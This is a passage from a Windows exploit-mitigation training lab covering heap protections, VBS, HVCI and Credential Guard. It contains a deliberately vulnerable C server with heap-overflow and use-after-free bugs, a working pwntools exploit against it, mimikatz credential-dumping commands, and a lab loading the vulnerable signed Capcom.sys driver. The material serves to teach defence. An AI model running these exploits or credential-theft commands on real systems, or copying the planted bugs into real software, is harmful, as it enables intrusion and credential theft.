[!NOTE]\n> The single-heap demo may not always reclaim in the first 100 attempts due to heap\n> randomization (LFH\u002FSegment Heap). In real browser exploits, attackers spray thousands\n> of objects to increase the probability. The key insight is that with separate heaps,\n> reclamation is **impossible** regardless of spray count.\n\n### Practical Exercise\n\n#### Task 1: Vulnerable Heap Server and Pwntools Exploitation\n\nTo fully understand heap protections, we need a network-facing vulnerable server and pwntools scripts that exploit it — showing how mitigations block real attacks.\n\n##### Vulnerable Heap Server\n\n```c\n\u002F\u002F vuln_heap_server.c — Network server with heap vulnerabilities\n\u002F\u002F Demonstrates: heap overflow, UAF, double-free\n\u002F\u002F Compile: cl \u002FZi \u002FGS- vuln_heap_server.c \u002FFe:vuln_heap_server.exe \u002Flink ws2_32.lib \u002FDEBUG\n#include \u003Cwinsock2.h>\n#include \u003Cws2tcpip.h>\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#pragma comment(lib, \"ws2_32.lib\")\n\n#define PORT 9998\n#define MAX_NOTES 16\n#define NOTE_SIZE 64\n\ntypedef struct {\n    void (*print_func)(struct Note*);\n    char data[56];\n} Note;\n\nNote *notes[MAX_NOTES] = {0};\nHANDLE hHeap;\n\nvoid print_note(Note *n) {\n    printf(\"[Note] %s\\n\", n->data);\n}\n\nvoid send_str(SOCKET s, const char *str) {\n    send(s, str, (int)strlen(str), 0);\n}\n\nvoid handle_create(SOCKET client, char *buf) {\n    int idx = atoi(buf);\n    if (idx \u003C 0 || idx >= MAX_NOTES) {\n        send_str(client, \"[-] Invalid index\\n\");\n        return;\n    }\n    notes[idx] = (Note*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(Note));\n    if (!notes[idx]) {\n        send_str(client, \"[-] Allocation failed\\n\");\n        return;\n    }\n    notes[idx]->print_func = print_note;\n    char resp[128];\n    snprintf(resp, sizeof(resp), \"[+] Created note %d at %p\\n\", idx, notes[idx]);\n    send_str(client, resp);\n}\n\nvoid handle_write(SOCKET client, char *buf) {\n    \u002F\u002F Format: \u003Cidx> \u003Csize> \u003Cdata>\n    int idx, size;\n    if (sscanf(buf, \"%d %d\", &idx, &size) != 2) {\n        send_str(client, \"[-] Format: write \u003Cidx> \u003Csize> \u003Cdata>\\n\");\n        return;\n    }\n    if (idx \u003C 0 || idx >= MAX_NOTES || !notes[idx]) {\n        send_str(client, \"[-] Invalid note\\n\");\n        return;\n    }\n    \u002F\u002F BUG: No bounds check on size — allows heap overflow!\n    \u002F\u002F Only 56 bytes available in data[], but user controls size\n    char *data_start = buf;\n    \u002F\u002F Skip past \"\u003Cidx> \u003Csize> \"\n    int spaces = 0;\n    while (*data_start && spaces \u003C 2) {\n        if (*data_start == ' ') spaces++;\n        data_start++;\n    }\n    memcpy(notes[idx]->data, data_start, size);  \u002F\u002F OVERFLOW!\n    send_str(client, \"[+] Written\\n\");\n}\n\nvoid handle_read(SOCKET client, char *buf) {\n    int idx = atoi(buf);\n    if (idx \u003C 0 || idx >= MAX_NOTES || !notes[idx]) {\n        send_str(client, \"[-] Invalid note\\n\");\n        return;\n    }\n    char resp[256];\n    \u002F\u002F Leak the function pointer and data\n    snprintf(resp, sizeof(resp), \"[+] Note %d: func=%p data=%s\\n\",\n             idx, (void*)notes[idx]->print_func, notes[idx]->data);\n    send_str(client, resp);\n}\n\nvoid handle_delete(SOCKET client, char *buf) {\n    int idx = atoi(buf);\n    if (idx \u003C 0 || idx >= MAX_NOTES || !notes[idx]) {\n        send_str(client, \"[-] Invalid note\\n\");\n        return;\n    }\n    HeapFree(hHeap, 0, notes[idx]);\n    \u002F\u002F BUG: Pointer NOT nulled — UAF possible!\n    \u002F\u002F notes[idx] = NULL;  \u002F\u002F \u003C-- This line is missing!\n    send_str(client, \"[+] Deleted\\n\");\n}\n\nvoid handle_use(SOCKET client, char *buf) {\n    int idx = atoi(buf);\n    if (idx \u003C 0 || idx >= MAX_NOTES || !notes[idx]) {\n        send_str(client, \"[-] Invalid note\\n\");\n        return;\n    }\n    \u002F\u002F Calls via function pointer — CFG would validate this\n    notes[idx]->print_func(notes[idx]);\n    send_str(client, \"[+] Used\\n\");\n}\n\nvoid handle_client(SOCKET client) {\n    char buf[512];\n    send_str(client, \"=== Heap Vuln Server v1.0 ===\\n\");\n    send_str(client, \"Commands: create \u003Cidx> | write \u003Cidx> \u003Csize> \u003Cdata> | \"\n                     \"read \u003Cidx> | delete \u003Cidx> | use \u003Cidx> | quit\\n\");\n\n    while (1) {\n        send_str(client, \"> \");\n        memset(buf, 0, sizeof(buf));\n        int n = recv(client, buf, sizeof(buf) - 1, 0);\n        if (n \u003C= 0) break;\n\n        \u002F\u002F Strip newline\n        while (n > 0 && (buf[n-1] == '\\n' || buf[n-1] == '\\r')) buf[--n] = 0;\n\n        if (strncmp(buf, \"create \", 7) == 0)      handle_create(client, buf + 7);\n        else if (strncmp(buf, \"write \", 6) == 0)   handle_write(client, buf + 6);\n        else if (strncmp(buf, \"read \", 5) == 0)    handle_read(client, buf + 5);\n        else if (strncmp(buf, \"delete \", 7) == 0)  handle_delete(client, buf + 7);\n        else if (strncmp(buf, \"use \", 4) == 0)     handle_use(client, buf + 4);\n        else if (strncmp(buf, \"quit\", 4) == 0)     break;\n        else send_str(client, \"[-] Unknown command\\n\");\n    }\n    closesocket(client);\n}\n\nint main() {\n    hHeap = HeapCreate(0, 0, 0);\n    WSADATA wsa;\n    WSAStartup(MAKEWORD(2, 2), &wsa);\n\n    SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);\n    struct sockaddr_in addr = {0};\n    addr.sin_family = AF_INET;\n    addr.sin_port = htons(PORT);\n    addr.sin_addr.s_addr = INADDR_ANY;\n\n    int opt = 1;\n    setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, (char*)&opt, sizeof(opt));\n    bind(srv, (struct sockaddr*)&addr, sizeof(addr));\n    listen(srv, 5);\n\n    printf(\"[*] Listening on port %d\\n\", PORT);\n    printf(\"[*] Heap handle: %p\\n\", hHeap);\n    printf(\"[*] print_note func: %p\\n\", (void*)print_note);\n    fflush(stdout);\n\n    while (1) {\n        SOCKET client = accept(srv, NULL, NULL);\n        printf(\"[*] Client connected\\n\");\n        fflush(stdout);\n        handle_client(client);\n        printf(\"[*] Client disconnected\\n\");\n        fflush(stdout);\n    }\n\n    WSACleanup();\n    return 0;\n}\n```\n\n**Compile the server**:\n\n```bash\ncd C:\\Windows_Mitigations_Lab\n\n# Without mitigations (baseline — exploitable)\ncl \u002FZi \u002FGS- src\\vuln_heap_server.c \u002FFe:bin\\vuln_heap_server_no_mit.exe \u002Flink ws2_32.lib \u002FDEBUG \u002FDYNAMICBASE:NO \u002FNXCOMPAT:NO\n\n# With heap protections (encoded metadata, safe unlinking)\ncl \u002FZi src\\vuln_heap_server.c \u002FFe:bin\\vuln_heap_server_mitigated.exe \u002Flink ws2_32.lib \u002FDEBUG\n```\n\n##### Heap Overflow Exploitation\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nheap_overflow_exploit.py — Pwntools exploit for vuln_heap_server\nDemonstrates: Heap overflow to corrupt adjacent note's function pointer.\n\nScenario:\n  - Create two adjacent notes (note 0 and note 1)\n  - Overflow note 0's data field (56 bytes) into note 1's struct\n  - Overwrite note 1's print_func pointer\n  - Call 'use 1' to trigger controlled function call\n  - Without protections: attacker controls execution\n  - With heap protections: encoded metadata detects corruption on HeapFree\n  - With Page Heap: immediate crash on out-of-bounds write\n  - With CFG: indirect call validation blocks invalid target\n\nUsage:\n  python heap_overflow_exploit.py [TARGET_IP] [PORT] [--debug]\n  python heap_overflow_exploit.py 192.168.1.100 9998\n  python heap_overflow_exploit.py 127.0.0.1 9998 --debug\n\"\"\"\nfrom pwn import *\nimport sys\n\n# --- Configuration ---\nTARGET = sys.argv[1] if len(sys.argv) > 1 else \"127.0.0.1\"\nPORT   = int(sys.argv[2]) if len(sys.argv) > 2 else 9998\nDEBUG  = \"--debug\" in sys.argv\n\ncontext.log_level = \"debug\" if DEBUG else \"info\"\ncontext.arch = \"amd64\"\ncontext.os = \"windows\"\n\ndef recv_prompt(io):\n    \"\"\"Receive until we get a prompt at the start of a line.\"\"\"\n    # The prompt is \"> \" at the beginning of a line after a newline\n    # We need to receive until we see \"\\n> \" to avoid matching \"> \" in the banner\n    return io.recvuntil(b\"\\n> \")\n\ndef connect():\n    \"\"\"Connect and consume the banner.\"\"\"\n    io = remote(TARGET, PORT)\n    recv_prompt(io)  # consume banner + prompt\n    return io\n\ndef create(io, idx):\n    \"\"\"Create a note at the given index.\"\"\"\n    io.sendline(f\"create {idx}\".encode())\n    resp = recv_prompt(io)\n    log.debug(f\"Create response: {resp}\")\n    # Parse the address from '[+] Created note X at 0x...'\n    addr = None\n    for line in resp.split(b\"\\n\"):\n        if b\"Created note\" in line and b\" at \" in line:\n            try:\n                # Extract hex address after \"at \"\n                addr_str = line.split(b\"at \")[1].split()[0].strip()\n                addr = int(addr_str, 16)\n            except (IndexError, ValueError) as e:\n                log.debug(f\"Failed to parse address: {e}\")\n    log.info(f\"Created note {idx}\" + (f\" at {hex(addr)}\" if addr else \" (address not parsed)\"))\n    return addr\n\ndef write_note(io, idx, size, data):\n    \"\"\"Write data to a note with explicit size (for overflow).\"\"\"\n    payload = f\"write {idx} {size} \".encode() + data\n    io.sendline(payload)\n    try:\n        resp = recv_prompt(io)\n        log.debug(f\"Write response: {resp}\")\n        return resp\n    except EOFError:\n        log.critical(\"Server crashed during write — Page Heap detected overflow!\")\n        log.success(\"Page Heap protection is ACTIVE and working!\")\n        return None\n\ndef read_note(io, idx):\n    \"\"\"Read a note and parse the leaked function pointer.\"\"\"\n    io.sendline(f\"read {idx}\".encode())\n    resp = recv_prompt(io)\n    log.debug(f\"Read response: {resp}\")\n    func_addr = None\n    data_content = None\n    for line in resp.split(b\"\\n\"):\n        if b\"func=\" in line:\n            try:\n                # Parse \"func=0x... data=...\"\n                func_str = line.split(b\"func=\")[1].split(b\" \")[0].strip()\n                func_addr = int(func_str, 16)\n                if b\"data=\" in line:\n                    data_content = line.split(b\"data=\")[1].strip()\n            except (IndexError, ValueError) as e:\n                log.debug(f\"Failed to parse func pointer: {e}\")\n    if func_addr:\n        log.info(f\"Leaked function pointer: {hex(func_addr)}\")\n    return func_addr, resp\n\ndef delete(io, idx):\n    \"\"\"Delete (free) a note — does NOT null the pointer (UAF).\"\"\"\n    io.sendline(f\"delete {idx}\".encode())\n    resp = recv_prompt(io)\n    return resp\n\ndef use(io, idx):\n    \"\"\"Trigger function pointer call on the note.\"\"\"\n    io.sendline(f\"use {idx}\".encode())\n    # Don't recvuntil since the server might crash\n    try:\n        resp = recv_prompt(io)\n        return resp\n    except EOFError:\n        log.warning(\"Server crashed (connection closed) — mitigation triggered!\")\n        return None\n    except Exception as e:\n        log.warning(f\"Timeout or error: {e}\")\n        return None\n\ndef exploit():\n    io = connect()\n\n    # Step 1: Create two adjacent notes\n    log.info(\"Step 1: Creating two notes for adjacency\")\n    addr0 = create(io, 0)\n    addr1 = create(io, 1)\n\n    if addr0 and addr1:\n        gap = addr1 - addr0\n        log.info(f\"Gap between notes: {gap} bytes (sizeof(Note) = 64)\")\n        if gap != 64:\n            log.warning(f\"Notes are NOT adjacent (gap={gap}). \"\n                        \"Heap randomization may prevent exploitation.\")\n    else:\n        log.warning(\"Could not parse note addresses — proceeding with blind overflow\")\n\n    # Step 2: Read note 1 to see original function pointer\n    log.info(\"Step 2: Leaking note 1's function pointer\")\n    orig_func, _ = read_note(io, 1)\n    if orig_func:\n        log.success(f\"Original print_func: {hex(orig_func)}\")\n    else:\n        log.warning(\"Could not leak function pointer — check server response format\")\n\n    # Step 3: Overflow note 0 into note 1\n    # Note struct layout:\n    #   [print_func: 8 bytes][data: 56 bytes] = 64 bytes total\n    # Heap layout:\n    #   [Note 0: 64 bytes][Heap metadata: 16 bytes][Note 1: 64 bytes]\n    # To overflow from note 0's data into note 1's print_func:\n    #   - Fill note 0's data[56]\n    #   - Overflow through heap metadata (16 bytes)\n    #   - Overwrite note 1's print_func (8 bytes)\n    log.info(\"Step 3: Overflowing note 0 to corrupt note 1's function pointer\")\n\n    # Calculate overflow size based on actual gap\n    if addr0 and addr1:\n        gap = addr1 - addr0\n        # Distance from note 0's data field to note 1's func ptr\n        # note 0 data starts at addr0 + 8 (after func ptr)\n        # note 1 func ptr is at addr1\n        overflow_size = (addr1 - addr0) - 8 + 8  # -8 for func ptr offset, +8 to overwrite it\n\n        if gap > 1024:\n            log.warning(f\"Large gap detected ({gap} bytes) — Page Heap likely enabled!\")\n            log.warning(\"Page Heap places guard pages between allocations\")\n            log.warning(\"Attempting overflow anyway to demonstrate detection...\")\n        else:\n            log.info(f\"Calculated overflow size: {overflow_size} bytes\")\n    else:\n        # Blind overflow: assume 16-byte heap metadata\n        overflow_size = 56 + 16 + 8  # data + metadata + func ptr\n        log.info(f\"Blind overflow size (assuming 16-byte heap header): {overflow_size} bytes\")\n\n    fake_func_ptr = p64(0x4141414141414141)  # Will cause crash or CFG violation\n    overflow_payload = b\"A\" * (overflow_size - 8) + fake_func_ptr\n\n    log.info(f\"Overflow payload size: {len(overflow_payload)} bytes\")\n    write_result = write_note(io, 0, len(overflow_payload), overflow_payload)\n\n    if write_result is None:\n        log.success(\"=\" * 60)\n        log.success(\"PAGE HEAP PROTECTION DETECTED THE OVERFLOW!\")\n        log.success(\"Server crashed immediately on out-of-bounds write\")\n        log.success(\"This is the BEST case scenario for heap protection\")\n        log.success(\"=\" * 60)\n        io.close()\n        return\n\n    # Step 4: Verify corruption by reading note 1\n    log.info(\"Step 4: Verifying corruption of note 1\")\n    corrupted_func, _ = read_note(io, 1)\n    if corrupted_func:\n        if corrupted_func == 0x4141414141414141:\n            log.success(f\"Function pointer corrupted to: {hex(corrupted_func)}\")\n            log.success(\"Heap overflow succeeded — NO protection detected!\")\n        else:\n            log.info(f\"Function pointer: {hex(corrupted_func)} (may be garbled)\")\n\n    # Step 5: Trigger the corrupted function pointer\n    log.info(\"Step 5: Triggering corrupted function pointer via 'use 1'\")\n    log.info(\"Expected outcomes:\")\n    log.info(\"  No mitigations: crash at 0x4141414141414141 (controlled!)\")\n    log.info(\"  Page Heap:      crash on the overflow write itself\")\n    log.info(\"  CFG enabled:    STATUS_STACK_BUFFER_OVERRUN (0xC0000409)\")\n    log.info(\"  Heap encoding:  crash on HeapFree with STATUS_HEAP_CORRUPTION\")\n\n    result = use(io, 1)\n    if result is None:\n        log.success(\"Server crashed — mitigation likely triggered\")\n        log.info(\"Check server console or WinDbg for:\")\n        log.info(\"  0xC0000005 = DEP (tried to execute non-executable page)\")\n        log.info(\"  0xC0000409 sub 10 = CFG blocked invalid indirect call\")\n        log.info(\"  0xC0000374 = Heap integrity check failed\")\n    else:\n        log.warning(\"Server survived — function pointer may not have been corrupted\")\n\n    io.close()\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n**Testing the heap overflow exploit:**\n\n```bash\n# 1. Test without mitigations (baseline — should succeed)\n.\\bin\\vuln_heap_server_no_mit.exe\npython .\\exploits\\heap_overflow_exploit.py 127.0.0.1 9998\n\n# Expected output:\n#   Gap between notes: 80 bytes\n#   [+] Function pointer corrupted to: 0x4141414141414141\n#   [+] Heap overflow succeeded — NO protection detected!\n#   [!] Server crashed (connection closed)\n\n# 2. Test with mitigated build WITHOUT Page Heap (heap integrity checks only)\n\"C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\gflags.exe\"  \u002Fp \u002Fdisable vuln_heap_server_mitigated.exe \u002Ffull\n.\\bin\\vuln_heap_server_mitigated.exe\npython .\\exploits\\heap_overflow_exploit.py 127.0.0.1 9998\n\n# Expected: Similar to #1, but may detect corruption on HeapFree\n#   Gap: 80 bytes, overflow succeeds, crash on use or later heap operation\n\n# 3. Test with Page Heap enabled (BEST protection)\n\"C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\gflags.exe\"  \u002Fp \u002Fenable vuln_heap_server_mitigated.exe \u002Ffull\n.\\bin\\vuln_heap_server_mitigated.exe\npython .\\exploits\\heap_overflow_exploit.py 127.0.0.1 9998\n\n# Expected output:\n#   Gap between notes: 8192 bytes (full page separation!)\n#   [!] Large gap detected — Page Heap likely enabled!\n#   [!] Server crashed during write — Page Heap detected overflow!\n#   [+] PAGE HEAP PROTECTION DETECTED THE OVERFLOW!\n#   Server terminates IMMEDIATELY on out-of-bounds write\n```\n\n**Key observations:**\n\n- **Normal heap**: 80-byte gap (64-byte allocation + 16-byte metadata)\n- **Page Heap**: 8192-byte gap (full page separation with guard pages)\n- **Without mitigations**: Overflow succeeds → crash at controlled address\n- **With Page Heap**: Immediate detection on out-of-bounds write\n- **With heap encoding**: May detect corruption on subsequent heap operations\n\n**Protection effectiveness ranking:**\n\n1. **Page Heap** (best): Immediate detection, prevents corruption entirely\n2. **Heap integrity checks**: Detects corruption on HeapFree or validation\n3. **No mitigations** (worst): Full exploitation possible\n\n### Key Takeaways\n\n1. **Heap overflows are NOT reliably detected** without Page Heap: the standard heap\n   only checks metadata on free\u002Frealloc. If the overflow doesn't corrupt an encoded\n   header, it goes undetected. Page Heap (`gflags \u002Fp \u002Fenable \u002Ffull`) places guard\n   pages after every allocation for immediate detection.\n2. **UAF bugs are silent without AppVerifier**: freed memory often still contains valid\n   data, so reads succeed and writes don't crash. AppVerifier fills freed memory with\n   `0xF0F0F0F0` and places guard pages — making UAF instantly visible.\n3. **Heap isolation prevents type-confusion UAF**: this is why browsers use PartitionAlloc.\n   Even if you can trigger a UAF in one object type, you cannot reclaim that memory with\n   a different type from a different heap partition.\n4. **Encoded heap metadata** (XOR with per-heap key) prevents attackers from crafting\n   fake heap headers. The key changes per process and per heap instance.\n5. **Safe unlinking** validates forward\u002Fbackward pointer consistency before removing a\n   chunk from a free list. This blocks classic unlink-based write-what-where attacks.\n6. **Segment Heap** (Windows 10+ default for modern apps) adds allocation order\n   randomization and guard pages between segments — making heap spraying harder.\n7. **MemGC** delays memory reuse until all live pointers are gone — but has 10-15%\n   overhead and is primarily used in Edge\u002Fbrowser engines.\n8. **ACG + CIG together** create a strong code execution prevention: ACG blocks dynamic\n   code generation, CIG blocks unsigned DLL loading. Combined, an attacker cannot\n   introduce new executable code into the process.\n9. **Always use `fflush(stdout)` before operations that may crash** — otherwise printf\n   output is lost in the crash dump.\n\n### Discussion Questions\n\n1. **How do encoded heap headers prevent exploitation?**\n\n   > Each heap has a random encoding key (generated at heap creation). All metadata\n   > fields are XORed with this key before writing and after reading. An attacker who\n   > corrupts metadata must know the encoding key to craft valid fake headers. The key\n   > is stored in the `_HEAP` structure but ASLR makes finding it non-trivial.\n\n2. **Why doesn't Windows use full garbage collection?**\n\n   > GC requires tracking ALL references to every allocation — impossible in C\u002FC++\n   > where pointers can be cast to integers, stored in unions, or derived from\n   > arithmetic. MemGC approximates this for specific allocator contexts (like Edge's\n   > DOM engine) but cannot work for arbitrary C code.\n\n3. **What's the trade-off between MemGC security and performance?**\n\n   > MemGC delays freeing -> higher memory usage (quarantined allocations stay alive).\n   > Periodic scanning has 10-15% CPU overhead. The memory overhead can be significant\n   > for long-running processes. This is acceptable for browser tabs (short-lived) but\n   > not for database servers or OS kernels.\n\n4. **Can heap randomization be defeated with information leaks?**\n   > Yes. If an attacker can leak heap addresses (via format string, partial overread,\n   > or timing side channel), they can calculate the relative positions of heap chunks\n   > and target specific metadata. This is exactly what we demonstrated in Day 2\n   > Technique 1: leaking stack cookies and code pointers via format strings. The same\n   > principle applies to heap cookies and heap metadata encoding keys.\n\n## Day 5: Virtualization-Based Security (VBS) and HVCI\n\n- **Goal**: Understand hardware-assisted security through virtualization.\n- **Activities**:\n  - _Reading_:\n    - [VBS Overview](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fwindows-hardware\u002Fdesign\u002Fdevice-experiences\u002Foem-vbs)\n    - [HVCI Documentation](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fwindows\u002Fsecurity\u002Fhardware-security\u002Fenable-virtualization-based-protection-of-code-integrity)\n  - _Online Resources_:\n    - [Credential Guard](https:\u002F\u002Flearn.microsoft.com\u002Fen-us\u002Fwindows\u002Fsecurity\u002Fidentity-protection\u002Fcredential-guard\u002Fcredential-guard)\n  - _Tool Setup_:\n    - Windows 11 Pro\u002FEnterprise with VBS\n    - Hyper-V enabled\n  - _Exercise_:\n    - Enable VBS and HVCI\n    - Test kernel code integrity\n    - Verify Credential Guard\n\n### Virtualization-Based Security (VBS)\n\n**What is VBS?**:\n\n- Uses hardware virtualization (Hyper-V)\n- Creates isolated \"Secure World\" (VSM - Virtual Secure Mode)\n- Normal Windows runs in \"Normal World\"\n- Secure World protected from Normal World\n\n**Architecture**:\n\n```text\n┌────────────────────────────────────┐\n│         Hardware (CPU)             │\n├────────────────────────────────────┤\n│    Hyper-V Hypervisor (Ring -1)    │\n├─────────────────┬──────────────────┤\n│  Normal World   │  Secure World    │\n│   (VTL 0)       │    (VTL 1)       │\n├─────────────────┼──────────────────┤\n│ Windows Kernel  │ Secure Kernel    │\n│ Applications    │ Secure Services  │\n│ Drivers         │ - Credential     │\n│                 │   Guard          │\n│                 │ - HVCI           │\n│                 │ - Device Guard   │\n└─────────────────┴──────────────────┘\n\nNormal World CANNOT access Secure World\nSecure World CAN inspect Normal World\nHypervisor enforces isolation\n```\n\n**VBS Features**:\n\n1. **Hypervisor-Protected Code Integrity (HVCI)**\n   - Validates kernel code signatures\n   - Prevents unsigned code execution in kernel\n\n2. **Credential Guard**\n   - Isolates credentials (NTLM, Kerberos tickets)\n   - Prevents credential theft (mimikatz)\n\n3. **Device Guard**\n   - Application whitelisting\n   - Only signed apps can run\n\n4. **Kernel Data Protection (KDP)**\n   - Protects kernel data structures\n   - Read-only enforced by hypervisor\n\n#### Checking VBS Status\n\n**PowerShell**(admin):\n\n```bash\n# Check if VBS is capable\nGet-ComputerInfo | Select-Object DeviceGuard*\n\n# Check if VBS is running\nGet-CimInstance -ClassName Win32_DeviceGuard -Namespace root\\Microsoft\\Windows\\DeviceGuard\n\n# Output interpretation:\n# SecurityServicesRunning is an ARRAY, not a single value:\n#   Contains 1 = Credential Guard is running\n#   Contains 2 = HVCI (Hypervisor-Enforced Code Integrity) is running\n#   Contains 5 = SMM Firmware Measurement\n#   Contains 7 = System Guard Secure Launch\n#   e.g. {2, 5, 7} = HVCI + SMM + Secure Launch running\n\n# VirtualizationBasedSecurityStatus values:\n#   0 = Not enabled\n#   1 = Enabled but not running\n#   2 = Enabled and running\n\n# DeviceGuardSmartStatus: Off\n# Means: Full Device Guard policy not enforced (HVCI can run independently)\n\n# Note: VBS requires nested virtualization support\n# May be disabled in VirtualBox VMs or other virtualized environments\n```\n\n#### Microsoft Pluton (Hardware-based Security)\n\nModern Windows 11 devices (Ryzen 6000+, Intel 12th Gen+) may integrate the **Microsoft Pluton** security processor directly into the CPU die, replacing or augmenting the traditional TPM.\n\n```bash\n# Check TPM manufacturer (determines if Pluton is present)\nGet-CimInstance -Namespace root\u002Fcimv2\u002Fsecurity\u002Fmicrosofttpm -ClassName Win32_Tpm | Select-Object ManufacturerIdTxt\n\n# Common ManufacturerIdTxt values:\n#   \"INTC\" = Intel fTPM (firmware TPM, no Pluton)\n#   \"AMD\"  = AMD fTPM (no Pluton)\n#   \"MSFT\" = Microsoft Pluton (integrated security processor)\n#   \"IFX\"  = Infineon (discrete TPM chip)\n#   \"STM\"  = STMicroelectronics (discrete TPM chip)\n\n# Advanced Pluton check (only works on Windows 11 22H2+ with Pluton hardware):\nGet-ComputerInfo | Select-Object -ExpandProperty CsSecurityProcessorFeatures\n# Note: This property only exists on Pluton-enabled systems\n# Will error on systems without Pluton or older Windows versions\n\n# Key Benefits of Pluton (when present):\n# - Eliminates \"Bus Interposer\" attacks (listening to traffic between CPU and TPM chip)\n# - Provides continuous firmware protection via Windows Update\n# - Stores sensitive credentials (BitLocker keys, Windows Hello) inside the CPU package\n# - Only available on: AMD Ryzen 6000+, Intel 12th Gen+ (select models), Qualcomm Snapdragon\n```\n\n### Hypervisor-Protected Code Integrity (HVCI)\n\n**What is HVCI?**:\n\n- Also called \"Memory Integrity\"\n- Validates all kernel-mode code\n- Code must be signed by Microsoft or WHQL\n- Enforced by Secure Kernel (VTL 1)\n\n**How HVCI Works**:\n\nWithout HVCI:\n\n1. Driver loaded into kernel\n2. Kernel sets pages executable\n3. Driver code runs\n4. Unsigned\u002Fmalicious driver can run\n\nWith HVCI:\n\n1. Driver loaded into kernel\n2. Kernel requests executable pages\n3. Secure Kernel validates signature\n4. If invalid -> request denied\n5. Driver cannot execute\n6. Only signed drivers run\n\n**HVCI Protection**:\n\nAttack Scenario: Kernel exploit\n\nWithout HVCI:\n\n1. Exploit kernel bug\n2. Write shellcode to kernel memory\n3. Mark pages executable\n4. Jump to shellcode\n   -> Attacker has kernel code execution\n\nWith HVCI:\n\n1. Exploit kernel bug\n2. Write shellcode to kernel memory\n3. Try to mark pages executable\n4. Secure Kernel denies (not signed)\n   -> Shellcode cannot execute\n\n**Checking HVCI Status**:\n\n```bash\n# CORRECT way to check if HVCI is running:\nGet-CimInstance -ClassName Win32_DeviceGuard -Namespace root\\Microsoft\\Windows\\DeviceGuard | Select-Object SecurityServicesRunning\n\n# SecurityServicesRunning interpretation:\n#   Contains 2 = HVCI is RUNNING\n#   Missing 2  = HVCI is NOT running\n\n# MISLEADING check (ignore this):\nGet-ComputerInfo | Select-Object DeviceGuardSmartStatus\n# \"Off\" does NOT mean HVCI is off!\n# \"Off\" means full Device Guard policy is not enforced\n# HVCI can run independently without full Device Guard\n\n# Alternative check via Settings UI:\n# Windows Security -> Device Security -> Core Isolation -> Memory Integrity\n# Should show \"On\" if HVCI is running\n```\n\n**Enabling HVCI** (if not already running):\n\n```bash\n# Method 1: Via Windows Settings (easiest)\n# Settings -> Privacy & Security -> Windows Security -> Device Security\n# -> Core Isolation Details -> Memory Integrity -> Turn On\n\n# Method 2: Via Group Policy\n# Computer Configuration -> Administrative Templates -> System -> Device Guard\n# Turn On Virtualization Based Security\n# Enable Platform Security Level: Secure Boot and DMA Protection\n# Enable Virtualization Based Protection of Code Integrity: Enabled with UEFI lock\n\n# Reboot required after any method\nshutdown \u002Fr \u002Ft 0\n\n# IMPORTANT: HVCI Requirements\n# - Nested virtualization support (Hyper-V hypervisor)\n# - SLAT support (EPT on Intel, RVI on AMD)\n# - UEFI firmware (not legacy BIOS)\n# - Secure Boot enabled\n# - Compatible drivers (unsigned drivers will fail to load)\n# - Will NOT work in VirtualBox VMs (no nested Hyper-V support)\n# - Use bare metal, Hyper-V, or VMware with nested virtualization enabled\n```\n\n#### Real-World Lab: The \"BYOVD\" Scenario\n\nHVCI blocks _unsigned_ drivers. But what about _signed_ drivers with vulnerabilities?\n\n1. **Preparation**: Download `Capcom.sys` (a notoriously vulnerable, signed driver) or use a dummy file.\n2. **Test**:\n\n```bash\n# Create service for unsigned driver\nsc create BadDriver binPath=C:\\Windows_Mitigations_Lab\\bin\\Unsigned.sys type=kernel\nsc start BadDriver\n# Result: BLOCKED by HVCI\n\n# Create service for Signed Vulnerable Driver (e.g., Capcom)\nsc create VulnSigned binPath=C:\\Windows_Mitigations_Lab\\bin\\Capcom.sys type=kernel\nsc start VulnSigned\n# Result: ALLOWED by HVCI (Signature is valid!)\n```\n\n**Key Takeaway**: HVCI ensures code _integrity_, not code _quality_. Attackers bypass HVCI by bringing valid, signed drivers with known bugs to load into the kernel.\n\n### Credential Guard\n\n**What is Credential Guard?**:\n\n- Isolates secrets in VTL 1\n- Prevents credential theft attacks\n- Defeats mimikatz and similar tools\n\n**Protected Credentials**:\n\n- NTLM password hashes\n- Kerberos TGT tickets\n- Domain credentials\n- Credential Manager secrets\n\n**Attack Without Credential Guard**:\n\n```bash\n# Attacker runs mimikatz on compromised machine\nmimikatz# privilege::debug\nmimikatz# sekurlsa::logonpasswords\n\n# Output:\n# * Username: admin\n# * NTLM: 5f4dcc3b5aa765d61d8327deb882cf99\n# -> Attacker has password hash, can Pass-the-Hash\n```\n\n**Attack With Credential Guard**:\n\n```bash\n# Attacker runs mimikatz\nmimikatz# privilege::debug\nmimikatz# sekurlsa::logonpasswords\n\n# Output:\n# * Username: admin\n# * NTLM: (null)  ← Credential Guard blocked access!\n```\n\n**Enabling Credential Guard**:\n\n```powershell\n# IMPORTANT: Credential Guard Requirements\n# - Windows 11 Enterprise or Windows 11 Education\n# - Windows 10 Enterprise or Windows 10 Education\n# - Windows Server 2016+ (Datacenter\u002FStandard)\n# NOT available on Windows Pro or Home editions!\n\n# Check your Windows edition:\nGet-ComputerInfo | Select-Object WindowsProductName, WindowsEditionId\n\n# Enable via Group Policy (Enterprise\u002FEducation only):\n# Computer Configuration -> Administrative Templates -> System -> Device Guard\n# -> Turn On Virtualization Based Security\n# -> Credential Guard Configuration: Enabled with UEFI lock\n\n# Enable via Registry (if supported edition):\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" \u002Fv \"LsaCfgFlags\" \u002Ft REG_DWORD \u002Fd 1 \u002Ff\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" \u002Fv \"EnableVirtualizationBasedSecurity\" \u002Ft REG_DWORD \u002Fd 1 \u002Ff\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" \u002Fv \"RequirePlatformSecurityFeatures\" \u002Ft REG_DWORD \u002Fd 1 \u002Ff\n\n# Reboot required\nshutdown \u002Fr \u002Ft 0\n\n# Verify after reboot:\nGet-CimInstance -ClassName Win32_DeviceGuard -Namespace root\\Microsoft\\Windows\\DeviceGuard | 